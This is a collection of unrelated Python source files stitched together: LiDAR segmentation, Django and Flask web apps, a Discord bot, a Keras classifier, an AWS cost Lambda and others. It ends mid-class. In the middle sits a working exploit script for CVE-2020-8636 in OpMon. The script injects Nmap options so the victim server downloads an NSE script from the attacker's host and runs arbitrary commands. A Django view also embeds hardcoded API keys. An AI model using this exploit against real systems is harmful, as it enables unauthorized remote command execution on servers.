    models.load_state_dict(torch.load(root+'./alpha_predictor/model/best_model_mega_tanh.pth')['model_state_dict'])

    ant = [19,31,17,3,4] #class id to be considered
    ants = [3,4,17,18,19,23,27,31,33] ##total number of classes in the dataset

    vel2os_fit = np.load('./fit_tree_vel.npy',allow_pickle = True)
    vel2os = np.poly1d(vel2os_fit)
    colors = [[255,255,0],[0,255,0],[255,0,0],[0,255,255],[0,0,255]]
    for i in os.listdir('./Rellis_3D_vel_cloud_node_kitti_bin/Rellis-3D/00000/vel_cloud_node_kitti_bin'):
        dis2, x, y, z, labels, intensity = convert_ply2bin('./Rellis_3D_vel_cloud_node_kitti_bin/Rellis-3D/00000/vel_cloud_node_kitti_bin/'+i,i)

        normals, pc = normal_estimate(x,y,z) ##estimate the normals
        angles = predict_alpha(normals) ##predict the angle of incidence
        intensity = vel2ouster(intensity,np.sqrt(dis2),vel2os) ##Convert velodyne intensity to Ouster form

        cal_intensity = intensity*dis2/np.cos(angles)/100 ##calibrated intensity; devision by 100 is to scale down the values

        pred_labels = class_predictor(cal_intensity,z) ##predict the labels of the point cloud
        pred_labels = neighbour_filter(pc,pred_labels) ##filter the outliers

        label_col = label_assigner(pred_labels) ##colour assigner for visualization
        gt_labels = label_assigner(labels)

        ## Visualizer
        pc.colors = open3d.utility.Vector3dVector(gt_labels/255.)
        open3d.visualization.draw_geometries([pc])
        pc.colors = open3d.utility.Vector3dVector(label_col/255.)
        open3d.visualization.draw_geometries([pc])

        # fig, ax = plt.subplots(figsize=(24,24))
        # #ax = fig.add_subplot(projection='2d')
        # ax.scatter(x, y, c=gt_labels/255.)
        # plt.xlim(-40, 40)
        # plt.ylim(-40, 40)

        # #plt.axis('off')

        # try:
        #     fig.savefig('./intensity_pred/'+str(j)+'_g.png')
        # except ValueError:
        #     plt.close(fig)
        # else:
        #     plt.close(fig)

        # fig, ax = plt.subplots(figsize=(10,10))
        # #ax = fig.add_subplot(projection='2d')
        # ax.scatter(x, y, c=label_col/255.)
        # #plt.axis('off')
        # fig.savefig('./intensity_pred/'+str(j)+'_p.png')
        # plt.close(fig)

        ##Calculate the mIoU
        class_miou = Iou(labels,pred_labels)
        print('Iou of each class:',class_miou)
        frame_miou = sum(class_miou)/len(class_miou)
        print('mIoU of the current frame: ',frame_miou)
        acc.append(frame_miou)
    print(np.mean(acc))


from flask import abort, redirect, render_template
from http import HTTPStatus
from yacut import app
from yacut.forms import URLForm
from yacut.models import URLMap
from yacut.error_handlers import ShortAnFound

@app.route('/', methods=['GET', 'POST'])
def index_view():
    """View-функция главной страницы."""
    form = URLForm()
    if not form.validate_on_submit():
        return render_template(
            'index.html',
            form=form
        )
    short = form.custom_id.data
    return render_template(
        'index.html',
        form=form,
        short_link=URLMap.create(
            original=form.original_link.data,
            short=short,
            validation_required=False,
        ).get_absolute_short_url()
    )

@app.route('/<string:short>', methods=['GET'])
def redirect_to_original_url(short):
    """Переадресация."""
    try:
        return redirect(
            URLMap.get_original_url(short),
            code=HTTPStatus.FOUND
        )
    except ShortAnFound:
        abort(HTTPStatus.NOT_FOUND)


"""
cbook即为cookbook，是一些小工具组成的库

"""
from matplotlib.cbook import CallbackRegistry

callbacks = CallbackRegistry()
sum = lambda x, y: print(f'{x}+{y}={x + y}')
mul = lambda x, y: print(f"{x} * {y}={x * y}")
id_sum = callbacks.connect("sum", sum)
id_mul = callbacks.connect("mul", mul)
callbacks.process('sum', 3, 4)
callbacks.process("mul", 5, 6)
callbacks.disconnect(id_sum)
callbacks.process("sum", 7, 8)


import sys, os
sys.path.append(os.getcwd())

from vocaloidDao import vocaloidVSQXResolver
import json

dataPath = os.path.join(os.getcwd(), 'VocaloidVSQXCollection')

with open(os.path.join(dataPath,"source.json"), 'r') as f:
    source = json.load(f)

fileList = [source["source-"+str(sourceIndex+1)]["file"] for sourceIndex in range(len(source))]

resolverList = [vocaloidVSQXResolver(os.path.join(dataPath, fileName)) for fileName in fileList]

import datetime
import multiprocessing as mp

def func(dataPath, resolver):
    return resolver.saveFormatedVocaloidData(resolver.getFormatedVocaloidDataInDict(), dataPath)

# # initialise the pool
num_cores = int(mp.cpu_count())
print("local computer has: " + str(num_cores) + " cores\n")
pool = mp.Pool(num_cores)

# # prepare processes not starting any process
processes = [pool.apply_async(func, args=(dataPath, resolver,)) for resolver in resolverList if not(
    os.path.exists(os.path.join(dataPath, resolver.resolverIdentifier[:-5]+"DataDict.csv")))]

start_t = datetime.datetime.now()
results = [p.get() for p in processes]
end_t = datetime.datetime.now()

elapsed_sec = (end_t - start_t).total_seconds()
print("Parallal computing takes " + "{:.2f}".format(elapsed_sec) + " seconds to finish.\n")


from django.shortcuts import render
from django.http import HttpResponse
import requests

# Create your views here.

def myMovie(request):
    # 获取城市信息
    #
    if request.method == 'GET':
        response = requests.get('https://api.map.baidu.com/location/ip?ak=KHkVjtmfrM6NuzqxEALj0p8i1cUQot6Z')

        response_dic = response.json()
        city = response_dic['content']['address_detail']['city']
    else:
        # 如果发现请求方式是post方式  就可以认为是form表单发送的请求
        # 那么直接获取form表单里面name值为city的input标签里面的内容
        city = request.POST['city']
    # 拼接url 获取全部电影信息
    movieUrl = 'http://api.map.baidu.com/telematics/v3/movie?qt=hot_movie&location={}&ak=TueGDhCvwI6fOrQnLM0qmXxY9N0OkOiQ&output=json'.format(city)
    movieData = requests.get(movieUrl).json()
    # 判断电影信息是否请求成功
    if movieData['error'] == 0:
        all_movies = movieData['result']['movie']
        context = {
            'city':city,
            'allMovies':all_movies
        }
    else:
        context = {
            'city':city,
            'error':'无法获取当前城市的电影信息'
        }
    return render(request,'index.html',context)


from django.urls import path
from .views import *

from management.views import Statistic, Shop_info, Shop_stat, Prod_info, Prod_stat, Comments_info

urlpatterns = [
    path('', Manage.as_view(), name='manage_url'),
    path('statistics/', Statistic.as_view(), name='statistics_url'),
    path('shop_info/<str:id>/', Shop_info.as_view(), name='shop_info_url'),
    path('shop_stat/<str:id>/', Shop_stat.as_view(), name='shop_stat_url'),
    path('prod_info/<str:id>/', Prod_info.as_view(), name='prod_info_url'),
    path('prod_stat/<str:id>/', Prod_stat.as_view(), name='prod_stat_url'),
    path('comments_info/<str:id>/', Comments_info.as_view(), name='comments_stat_url')
]


import asyncio
import asqlite
import logging
import config
import logging.handlers
import os

from typing import List, Optional

import discord
from discord.ext import commands
from aiohttp import ClientSession

initial_extensions = config.initial_extensions

class FileManager(commands.Bot):

    def __init__(self, *args, db_pool):
        allowed_mentions = discord.AllowedMentions(roles=False, everyone=True, users=True)
        intents = discord.Intents(
            guilds=True,
            members=True,
            bans=True,
            emojis=True,
            voice_states=True,
            messages=True,
            reactions=True,
            message_content=True,
        )
        super().__init__(
            command_prefix="-",
            description="Gestion des CER pour la A2 Informatique",
            pm_help=None,
            help_attrs=dict(hidden=True),
            chunk_guilds_at_startup=False,
            heartbeat_timeout=150.0,
            allowed_mentions=allowed_mentions,
            intents=intents,
            enable_debug_events=True,

        )

        self.db_pool = db_pool

    async def setup_hook(self) -> None:

        for extension in initial_extensions:
            print(f"loading {extension}")
            await self.load_extension(extension)

async def main():

    logger = logging.getLogger('discord')
    logger.setLevel(logging.INFO)

    handler = logging.handlers.RotatingFileHandler(
        filename='discord.log',
        encoding='utf-8',
        maxBytes=32 * 1024 * 1024,  # 32 MiB
        backupCount=5,  # Rotate through 5 files
    )
    dt_fmt = '%Y-%m-%d %H:%M:%S'
    formatter = logging.Formatter('[{asctime}] [{levelname:<8}] {name}: {message}', dt_fmt, style='{')
    handler.setFormatter(formatter)
    logger.addHandler(handler)

    async with asqlite.connect('databases/filemanager.db') as pool:
        async with FileManager(commands.when_mentioned, db_pool=pool) as bot:
            await bot.start(config.token)

# For most use cases, after defining what needs to run, we can just tell asyncio to run it:
asyncio.run(main())


import IPython.display as display
from PIL import Image
import os
import pathlib
import tensorflow as tf
from tensorflow import keras

import numpy as np
import matplotlib.pyplot as plt
import pdb

print("TensorFlow Version: {}".format(tf.__version__))

AUTOTUNE = tf.data.experimental.AUTOTUNE

image_dir = "/Users/thibaultdesfontaines/data/leaf-classification/new_images"
image_dir = pathlib.Path(image_dir)

CLASS_NAMES = [x for x in sorted(os.listdir(str(image_dir))) if x[0] != '.']
CLASS_NAMES = np.array(CLASS_NAMES)
print("Number of classes: {}".format(len(CLASS_NAMES)))

image_count = 0
for class_ in [x for x in os.listdir(image_dir) if x[0]!='.']:
    for image_ in os.listdir(os.path.join(image_dir, class_)):
        image_count += 1
print("Image count:", image_count)

image_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255)

BATCH_SIZE = 32
IMG_HEIGHT = 224
IMG_WIDTH = 224
STEPS_PER_EPOCH = np.ceil(image_count/BATCH_SIZE)

train_data_gen = image_generator.flow_from_directory(
        directory=str(image_dir),
        batch_size=BATCH_SIZE,
        shuffle=True,
        target_size=(IMG_HEIGHT, IMG_WIDTH),
        classes=list(CLASS_NAMES))

def get_label(file_path):
    # convert the path to a list of path components
    parts = tf.strings.split(file_path, os.path.sep)
    # The second to last is the class-directory
    return parts[-2] == CLASS_NAMES

def decode_img(img):
    # convert the compressed string to a 3D uint8 tensor
    img = tf.image.decode_jpeg(img, channels=1)
    # Use `convert_image_dtype` to convert to floats in the [0,1] range.
    img = tf.image.convert_image_dtype(img, tf.float32)
    # resize the image to the desired size.
    return tf.image.resize(img, [IMG_WIDTH, IMG_HEIGHT])

def process_path(file_path):
    label = get_label(file_path)
    # load the raw data from the file as a string
    img = tf.io.read_file(file_path)
    img = decode_img(img)
    return img, label

def process_test_path(file_path):
    # load the raw data from the file as a string
    img = tf.io.read_file(file_path)
    img = decode_img(img)
    return img

list_ds = tf.data.Dataset.list_files(str(image_dir/'*/*'))
# Set `num_parallel_calls` so multiple images are loaded/processed in parallel.
labeled_ds = list_ds.map(process_path, num_parallel_calls=AUTOTUNE)

def prepare_for_training(ds, cache=True, shuffle_buffer_size=1000):
    if cache:
        if isinstance(cache, str):
            ds = ds.cache(cache)
        else:
            ds = ds.cache()
    ds = ds.shuffle(buffer_size=shuffle_buffer_size)
    ds = ds.repeat()
    ds = ds.batch(BATCH_SIZE)
    ds = ds.prefetch(buffer_size=AUTOTUNE)
    return ds

train_ds = prepare_for_training(labeled_ds)

image_batch, label_batch = next(iter(train_ds))
train_images = tf.squeeze(image_batch)
# images_batch is TensorShape([32, 224, 224, 1])

model = keras.Sequential([
    keras.layers.Flatten(input_shape=(224, 224)),
    keras.layers.Dense(128, activation='relu'),
    keras.layers.Dense(99)
])

model.compile(optimizer='adam',
              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
              metrics=['accuracy'])

model.fit(train_images, tf.where(label_batch)[:, 1:], epochs=20)

# Test on new images
test_dir = pathlib.Path("/Users/thibaultdesfontaines/data/leaf-classification/test_images")

test_data_gen = image_generator.flow_from_directory(
        directory=str(test_dir),
        batch_size=BATCH_SIZE,
        shuffle=True,
        target_size=(IMG_HEIGHT, IMG_WIDTH),
        classes=list(CLASS_NAMES))

test_ds = tf.data.Dataset.list_files(str(test_dir/'*'))
test_ds = test_ds.map(process_test_path, num_parallel_calls=AUTOTUNE)
test_ds = prepare_for_training(test_ds)

test_batch = next(iter(test_ds))
test_batch = tf.squeeze(test_batch)

predictions = np.array(model.apply(test_batch))

755-Image classification/555-Prototype an image classification model in keras/keras_prototype.py


import json
import logging
import os
import time
from datetime import date, timedelta

import boto3
import botocore
from prometheus_client import CollectorRegistry, Gauge, push_to_gateway

# Initialize and Connect to the AWS EC2 Service
try:
    ec2_client = boto3.client("ec2")
except Exception as e:
    logging.error("Error creating boto3 client: " + str(e))

try:
    s3 = boto3.client("s3")
except Exception as e:
    logging.error("Error creating boto3 client for s3: " + str(e))

try:
    ssm_client = boto3.client("ssm")
except Exception as e:
    logging.error("Error creating boto3 client for ssm:" + str(e))

def get_region_names():
    """
    Retrieves the region names dictionary from AWS Systems Manager Parameter Store.

    Returns:
    - dict: The region names dictionary.
    """
    region_path = os.environ["region_names_path"]

    try:
        response = ssm_client.get_parameter(Name=region_path)
        region_names = json.loads(response["Parameter"]["Value"])
        return region_names
    except Exception as e:
        logging.error("Error retrieving region names from Parameter Store: " + str(e))
        raise

# Get the region names dictionary
region_names = get_region_names()

def get_cost_and_usage_data(client, start, end, region, account_id):
    """
    Retrieves the unblended cost of a given account within a specified time period
    using the AWS Cost Explorer API.
    Args:
        client: A boto3.client object for the AWS Cost Explorer API.
        account_id: A string representing the AWS account ID to retrieve
        cost data for.
        region: A string representing the AWS Regionto retrieve cost data for.
        start_date: A string representing the start date of the time period to
        retrieve cost data for in YYYY-MM-DD format.
        end_date: A string representing the end date of the time period to
        retrieve cost data for in YYYY-MM-DD format.

    Returns:
        A dictionary representing the response from the AWS Cost Explorer API,
        containing the unblended cost of the specified account in specific AWS
        Region for the specified time period.
    Raises:
        ValueError: If there is a problem with the input data format,
        or if the calculation fails.
    """
    while True:
        try:
            response = client.get_cost_and_usage(
                TimePeriod={"Start": start, "End": end},
                Granularity="MONTHLY",
                Metrics=["UnblendedCost"],
                GroupBy=[{"Type": "DIMENSION", "Key": "SERVICE"}],
                Filter={
                    "And": [
                        {"Dimensions": {"Key": "REGION", "Values": [region]}},
                        {
                            "Dimensions": {
                                "Key": "LINKED_ACCOUNT",
                                "Values": [account_id],
                            }
                        },
                    ]
                },
            )
            return response
        except client.exceptions.LimitExceededException:
            # Sleep for 5 seconds and try again
            time.sleep(5)
        except ValueError as ve:
            raise ValueError(
                f"ValueError occurred: {ve}.\nPlease check the input data format."
            )

def lambda_handler(event, context):

    """
    List 5 top most expensive services in provided aws region.
    Args:
        Account ID: AWS account id.
    Returns:
        It pushes the 5 most expensive services name and cost with AWS region
        to Prometheus using push gateway.
    Raises:
        KeyError: Raise error if data not pushed to prometheus.
    """

    account_id = event["account_id"]
    account_detail = event["account_detail"]
    # Cost of last 14 days
    cost_by_days = 14
    end_date = str(date.today())
    start_date = str(date.today() - timedelta(days=cost_by_days))

    # Initializing the list
    top_5_resources = []
    parent_list = []
    try:
        # Get the list of all regions
        regions = [
            region["RegionName"] for region in ec2_client.describe_regions()["Regions"]
        ]

    except Exception as e:
        logging.error("Error getting response from ec2 describe region api : " + str(e))
    # Loop through each region
    for region in regions:
        try:
            # region_name = region_names.get(region, "unknown region name")
            ce_region = boto3.client("ce", region_name=region)
        except Exception as e:
            logging.error("Error creating boto3 client: " + str(e))

        # Retrieve the cost and usage data for the defined time period
        try:
            cost_and_usage = get_cost_and_usage_data(
                ce_region, start_date, end_date, region, account_id
            )
        except Exception as e:
            logging.error("Error getting response from cost and usage api: " + str(e))

        # Extract the cost data
        cost_data = cost_and_usage["ResultsByTime"][0]["Groups"]

        # Sort the cost data in descending order
        sorted_cost_data = sorted(
            cost_data,
            key=lambda x: x["Metrics"]["UnblendedCost"]["Amount"],
            reverse=True,
        )

        # Get the top 5 most expensive resources
        top_5_resources = sorted_cost_data[:5]

        # Print the top 5 most expensive resources and their costs
        for resource in top_5_resources:
            resourcedata = {
                "Account": account_detail,
                "Region": f"{region} ({region_names.get(region, 'unknown region name')})",
                "Service": resource["Keys"][0],
                "Cost": resource["Metrics"]["UnblendedCost"]["Amount"],
            }
            parent_list.append(resourcedata)

        logging.info(parent_list)

    # Creating an empty list to store the data
    data_list = []

    # Adding the extracted cost data to the Prometheus
    # gauge as labels for service, region, and cost.
    try:
        registry = CollectorRegistry()
        gauge = Gauge(
            "Expensive_Services_Detail",
            "AWS Services Cost Detail",
            labelnames=["service", "cost", "region", "account_id"],
            registry=registry,
        )
        for i in range(len(parent_list)):
            service = parent_list[i]["Service"]
            region = parent_list[i]["Region"]
            cost = parent_list[i]["Cost"]
            account_id = parent_list[i]["Account"]
            data_dict = {"Service": service, "Region": region, "Cost": cost}

            # add the dictionary to the list
            data_list.append(data_dict)
            gauge.labels(service, cost, region, account_id).set(cost)

            # Push the metric to the Prometheus Gateway
            push_to_gateway(
                os.environ["prometheus_ip"], job=account_id, registry=registry
            )
        # convert data to JSON
        json_data = json.dumps(data_list)

        # upload JSON file to S3 bucket
        bucket_name = os.environ["bucket_name"]
        key_name = f'{os.environ["expensive_service_prefix"]}/{account_id}.json'
        try:
            s3.put_object(Bucket=bucket_name, Key=key_name, Body=json_data)
        except botocore.exceptions.ClientError as e:
            if e.response["Error"]["Code"] == "NoSuchBucket":
                raise ValueError(f"Bucket not found: {os.environ['bucket_name']}")
            elif e.response["Error"]["Code"] == "AccessDenied":
                raise ValueError(
                    f"Access denied to S3 bucket: {os.environ['bucket_name']}"
                )
            else:
                raise ValueError(f"Failed to upload data to S3 bucket: {str(e)}")
    except Exception as e:
        logging.error("Error initializing Prometheus Registry and Gauge: " + str(e))
        return {"statusCode": 500, "body": json.dumps({"Error": str(e)})}
    # Return the response
    return {"statusCode": 200, "body": json.dumps(parent_list)}


"""
CVE-2020-8636

OBS: It's necessary to start your server which will make a script available for download on the victim's server
ex: php -S 0.0.0.0:1337
Then, run the scan by passing the server, your server, the your server port and the command to be executed!
ex: python xpl.py https://VITME_HOST MY_HOST MY_PORT COMMAND

Discovered and developed by @phor3nsic

"""
import sys
import os
import requests
import time
import urllib3
import random
import string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) < 2 :
	print("""

 @@@@@@   @@@@@@@   @@@@@@@@@@    @@@@@@   @@@  @@@   @@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@
@@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@ @@@  @@@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@@
@@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!@!@@@  !@@         @@!    @@!       @@!  @@@
!@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!!@!@!  !@!         !@!    !@!       !@!  @!@
@!@  !@!  @!@@!@!   @!! !!@ @!@  @!@  !@!  @!@ !!@!  !!@@!!      @!!    @!!!:!    @!@!!@!
!@!  !!!  !!@!!!    !@!   ! !@!  !@!  !!!  !@!  !!!   !!@!!!     !!!    !!!!!:    !!@!@!
!!:  !!!  !!:       !!:     !!:  !!:  !!!  !!:  !!!       !:!    !!:    !!:       !!: :!!
:!:  !:!  :!:       :!:     :!:  :!:  !:!  :!:  !:!      !:!     :!:    :!:       :!:  !:!
::::: ::   ::       :::     ::   ::::: ::   ::   ::  :::: ::      ::     :: ::::  ::   :::
 : :  :    :         :      :     : :  :   ::    :   :: : :       :     : :: ::    :   : :

 CVE-2020-8636 by @phor3nsic

""")
	print("[!] Usage: "+sys.argv[0]+" https://HOST LHOST LPORT CMD")
	sys.exit()
else :
	pass

SRV = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
CMD = sys.argv[4]

def randStr(stringLength=10):
	latters=string.ascii_lowercase
	return ''.join(random.choice(latters) for i in range(stringLength))

script = randStr()+".nse"
arq = open(script,"w")
arq.write('os.execute("echo $('+CMD+' && rm /tmp/'+script+')")')
arq.close()

def upload():

	cookies = {'services_limit':'100'}
	p1 = {"nmap":"on","nmap_options":"-v "+LPORT,"host":LHOST+" --script http-fetch --script-args http-fetch.destination=/tmp,http-fetch.url="+script}
	req1 = requests.post(SRV+"/opmon/nettools/nettools.php", cookies=cookies, data=p1, verify=False)
	#print(req1.text)

	if "Successfully Downloaded" in req1.text:
		pass
	else:
		print("[!] The server is not vulnerable")
		os.system('rm *.nse')
		sys.exit()

	if "Failed to resolve" in req1.text:
		print("[!] The server not have external connections")
		os.system('rm *.nse')
		sys.exit()

def execute():
	cookies = {'services_limit':'100'}
	p2 = {"nmap":"on","nmap_options":"-v","host":"0.0.0.0 --script=/tmp/"+script}
	req2 = requests.post(SRV+"/opmon/nettools/nettools.php", cookies=cookies, data=p2, verify=False)

	r = req2.text.split("<blockquote>")
	r1= r[1].split("<br />")
	print(r1[1])

def main():
	upload()
	time.sleep(2)
	execute()
	os.system('rm *.nse')

if __name__ == '__main__':

	main()


from django.db.models.query import QuerySet
from django.shortcuts import render,get_object_or_404,redirect
from django.db.models import Q
from django.urls import reverse_lazy
from django.http import HttpResponseRedirect
from .forms import CommentForm
from django.views import View
from django.contrib.auth.mixins import UserPassesTestMixin, LoginRequiredMixin
from django_searchbar.mixins import SearchBarViewMixin
from django.views.generic.edit import UpdateView, DeleteView
from django.views.generic import ListView
from .models import Post, Comment,UserProfile, Basic, ControlFlow
from django.core.paginator import Paginator

#This is about me view
class AboutMe(View):
    def get(self, request, *args, **kwargs):
        return render(request, 'blog/about_me.html')

#This is python-content view
class TableOfContent(View):
    def get(self, request, *args, **kwargs):
        return render(request, 'blog/python_content.html')

class SearchView(View):
    def get(self, request, *args, **kwargs):
        query = self.request.GET.get('query')
        post_list = Post.objects.filter(
            Q(title__icontains=query) | Q(content__icontains=query)
        )

        context ={
            'query':query,
            'post_list':post_list,

        }
        return render(request, 'blog/search_post.html', context)
'''
class SearchView(ListView):
    Model = Post
    template_name = 'blog/search_post.html'

    def get_queryset(self): # new
        query = self.request.GET.get('query')
        post_list = Post.objects.filter(
            Q(title__icontains=query)  #Q(title__icontains=query) | Q(author__icontains=query)
        )
        return post_list
 '''

#This is for postlist
class PostListView(View):
    def get(self, request, *args, **kwargs):
        posts = Post.objects.all().order_by('-created_on')
        paginator = Paginator(posts, 4)
        page_number = request.GET.get('page')
        page_obj = paginator.get_page(page_number)

        context = {
            'page_obj': page_obj,

        }
        return render(request, 'blog/index.html', context)

   #This detail view and comments
class PostDetailView(View):
    def get(self, request, pk, *args, **kwargs):
        post = Post.objects.get(pk=pk)
        template_name = 'blog/post_detail.html'
        form = CommentForm()

        comments = Comment.objects.filter(post=post).order_by('-created_on')
        context = {
            'post':post,
            'form': form,
            'comments': comments,

        }

        return render(request, template_name, context)

    def post(self, request, pk, *args, **kwargs):
        post = Post.objects.get(pk=pk)
        template_name = 'blog/post_detail.html'
        form = CommentForm(request.POST)
        new_comment = None

        if form.is_valid:
            new_comment = form.save(commit=False)
            new_comment.author = request.user
            new_comment.post = post
            new_comment.save()

        comments = Comment.objects.filter(post=post).order_by('-created_on')

        context = {
            'post': post,
            'form': form,
            'comments': comments,
        }

        return render(request, template_name, context)

#View for replying comment
class ReplyCommentView(View):
    def post(self, request, pk, post_pk, *args, **kwargs):
        post = Post.objects.get(pk=post_pk)
        parent_comment = Comment.objects.get(pk=pk)
        form = CommentForm(request.POST)

        if form.is_valid:
            new_comment = form.save(commit=False)
            new_comment.author = request.user
            new_comment.post = post
            new_comment.parent = parent_comment
            new_comment.save()

        return redirect ('post_detail', pk=post_pk )

#This view is for profile
class ProfileView(View):
    def get(self, request, pk, *args, **kwargs):
        profile = UserProfile.objects.get(pk=pk)
        user = profile.user
        posts = Post.objects.filter(author=user).order_by('-created_on')

        '''followers = profile.followers.all()

        if len(followers) == 0:
            is_following = False
        for follower in followers:
            if follower == request.user:
                is_following = True
                break
            else:
                is_following = False

        number_of_followers = len(followers)'''

        context = {
            'user': user,
            'profile': profile,
            'posts': posts,
           # 'number_of_followers':number_of_followers,
            #'is_following': is_following,
        }

        return render(request, 'blog/profile.html', context)

 # this for Editing profile
class ProfileEditView(UpdateView):
    model = UserProfile
    fields = ['name','birth_date','bio','location','picture']
    template_name = 'blog/profile_edit.html'

    def get_success_url(self):
        pk = self.kwargs['pk']
        return reverse_lazy('profile', kwargs={'pk': pk})

    def test_func(self):
        profile = self.get_object()
        return self.request.user == profile.user

class AddLike(LoginRequiredMixin,View):
    def post(self, request, pk, *args, **kwargs):
        post = Post.objects.get(pk=pk)

        is_dislike = False
        #1..iterate through loop
        for dislike in post.dislikes.all():
            if dislike == request.user:
                is_dislike = True
                break

        if is_dislike:
            post.dislikes.remove(request.user)
        #for likes
        is_like = False

        for like in post.likes.all():
            if like == request.user:
                is_like = True
                break
        if not is_like:
            post.likes.add(request.user)

        if is_like:
            post.likes.remove(request.user)

        next = request.POST.get('next', '/')
        return HttpResponseRedirect(next)

class DisLike(LoginRequiredMixin,View):
    def post(self, request, pk, *args, **Kwargs):
        post = Post.objects.get(pk=pk)

        is_like = False

        for like in post.likes.all():
            if like == request.user:
                is_like = True
                break

        if is_like:
            post.likes.remove(request.user)

        is_dislike = False

        for dislike in post.dislikes.all():
            if dislike == request.user:
                is_dislike = True
                break

        if not is_dislike:
            post.dislikes.add(request.user)

        if is_dislike:
            post.dislikes.remove(request.user)

        next = request.POST.get('next', '/')
        return HttpResponseRedirect(next)

class BasicView(View):
     def get(self, request, *args, **kwargs):
         basics = Basic.objects.all()
         context = {
             'basics': basics
         }
         return render(request, 'blog/basics_of_programming.html', context)

class ControlFlowView(View):
    def get(self, request, *args, **kwargs):
        controlflows = ControlFlow.objects.all()
        context = {
            'controlflows': controlflows
        }
        return render(request, 'blog/control_flow.html', context)

'''
class Postlist(generic.ListView):
    queryset = Post.objects.filter(status=1).order_by('-created_on')
    template_name = 'blog/index.html'

#class PostDetail(generic.DetailView):
   # model = Post
   # template_name = 'post_detail.html'

def post_detail(request, slug):
    template_name = 'blog/post_detail.html'
    post = get_object_or_404(Post, slug=slug)
    comments = post.comments.filter(active=True).order_by("-created_on") #queryset retrives all the approved comments from the database
    new_comment = None # initializing new comments

    #Comment posted
    if request.method == 'POST':
        comment_form = CommentForm(data=request.POST) # holds the input data from user while commenting
        if comment_form. is_valid():

            #Create Comment object but don't save to database yet
            new_comment = comment_form.save(commit=False)
            #Assign the current post to the comment
            new_comment.post = post
            #save the comment to the database
            new_comment.save()

    else:
        comment_form = CommentForm()

    return render(request, template_name, {"post": post, "comments": comments, 'new_comment': new_comment, 'comment_form': comment_form})

    '''


__author__ = 'onion_bass'

from flask import Flask, request, render_template
from sentiment_classifier import SentimentClassifier

import webbrowser

app = Flask(__name__)
classifier = SentimentClassifier()
print("Done")

@app.route("/", methods=["POST", "GET"])
def index(text="", prediction_message=""):
    if request.method == "POST":
        text = request.form["text"]
    print(text)
    prediction_message = classifier.get_prediction_message(text)
    return render_template('index.html', text=text,
                           prediction_message=prediction_message)

if __name__ == "__main__":
    webbrowser.open("http://localhost:5000/")
    app.run(debug=False)


import bobo
import json
from random import choice
from itertools import product

SUITS = ['spades', 'hearts', 'clubs', 'diamonds']
PIPS = ('2','3','4','5','6','7','8','9','10','J','Q','K','A')

def new_deck():
    return ['%s of %s' % (p, s) for p in PIPS for s in SUITS]

@bobo.subroute('/cards', scan=True)
class Deck:
    current_deck = new_deck()

    def __init__(self, bobo_request):
        pass

    @bobo.query('')
    def redirect(self, bobo_request):
        return bobo.redirect(bobo_request.url+'/')

    @bobo.query('/')
    def reset(self, bobo_request):
        Deck.current_deck = new_deck()
        return 'Deck reset to 52 cards.'

    @bobo.query('/:quantity?')
    def get_cards(self, bobo_request, quantity=1):
        num_left = len(Deck.current_deck)
        qty = int(quantity)
        if num_left < qty:
            return 'Could not fulfill request, %d cards left.' % num_left
        draw = list()
        for i in range(qty):
            card = choice(Deck.current_deck)
            s = set(Deck.current_deck)
            s.remove(card)
            Deck.current_deck = list(s)
            draw.append(card)
        return json.dumps({'drawn_cards':draw})

application = bobo.Application(bobo_resources=__name__)


from django.conf.urls import patterns, include, url
from django.contrib.auth import views as auth_views
import profile_app.views

# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()

# importamos settings
from profileme import settings

urlpatterns = patterns('',
	url(r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT}),

	url(r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),

	url(r'^logout/?$', 'profile_app.views.oauth_logout'),

	# Uncomment the next line to enable the admin:
	url(r'^admin/', include(admin.site.urls)),
)

urlpatterns += patterns('profile_app.views',
	url(r'^$','index'),
	# url(r'^postTest$', 'profile_app.views.postTest', name='postTest'),
    url(r'^postTest$', 'postTest', name='postTest'),

	url(r'^profile$','profile', name='profile'),
    url(r'^registro$', 'registro', name='registro'),
    url(r'^publicar_oferta$', 'publicarOferta', name='publicarOferta'),
    # url(r'^publicarOferta$', 'profile_app.views.publicarOferta', name='publicarOferta'),
    url(r'^ofertas$', 'ofertas', name='ofertas'),
    url(r'^jobs$', 'jobs', name='jobs'),

    url(r'^registerUser$', 'registerUser', name='registerUser'),
    url(r'^createJobOffer$', 'createJobOffer', name='createJobOffer'),
    url(r'^registerUser$', 'registerUser', name='registerUser'),
    url(r'^uploadUserPhoto$', 'uploadUserPhoto', name='uploadUserPhoto'),

	url(r'^registrarHabilidades$', 'registrarHabilidades', name='registrarHabilidades'),
	url(r'^registrarHerramientas$', 'registrarHerramientas', name='registrarHerramientas'),
	url(r'^registrarProyectos$', 'registrarProyectos', name='registrarProyectos'),
	url(r'^registrarHobbies$', 'registrarHobbies', name='registrarHobbies'),
	url(r'^registrarEscolaridad$', 'registrarEscolaridad', name='registrarEscolaridad'),

    url(r'^error$','error_page'),

    url(r'^updateUserBasicInfo$', 'updateUserBasicInfo', name='updateUserBasicInfo'),
)

urlpatterns += patterns('profile_app.linkedin_views',
	url(r'^login/linkedin/?$', 'oauth_login'),
	url(r'^login/linkedin/authenticated/?$', 'oauth_authenticated'),
)


#!/usr/bin/python

import os
import sys
import numpy as np
import cv2
import time
import threading
from   multiprocessing import Process, Queue, Pipe, Manager, Lock

print(os.path.dirname(__file__))
print(os.path.basename(__file__))
print(sys.version_info)
print(cv2.__version__)

class fpsWithTick(object):
    def __init__(self):
        self._count     = 0
        self._oldCount  = 0
        self._freq      = 1000 / cv2.getTickFrequency()
        self._startTime = cv2.getTickCount()
    def get(self):
        nowTime         = cv2.getTickCount()
        diffTime        = (nowTime - self._startTime) * self._freq
        self._startTime = nowTime
